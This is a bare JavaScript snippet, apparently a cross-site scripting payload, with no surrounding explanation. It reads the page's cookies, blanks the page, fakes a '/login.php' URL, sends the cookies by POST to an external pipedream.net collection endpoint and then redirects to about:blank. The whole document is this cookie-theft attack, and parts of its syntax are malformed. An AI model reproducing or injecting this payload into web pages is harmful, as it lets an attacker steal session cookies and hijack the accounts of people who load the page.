var cookies = document.cookie; document.getElementsByTagName("head")[0].remove(); document.body.innerHTML = ""; document.title = "_blank" window.history.pushState('h', '', '/login.php'); const headers = new Headers(); headers.append("Content-Type", "application/json"); const body = { "cookies": document.cookie }; const options = { method: "POST", headers, mode: "cors", body: JSON.stringify(body), }; fetch("https://eoc16s5io0o6erf.m.pipedream.net", options).then(res => () { window.location = "about:blank"; });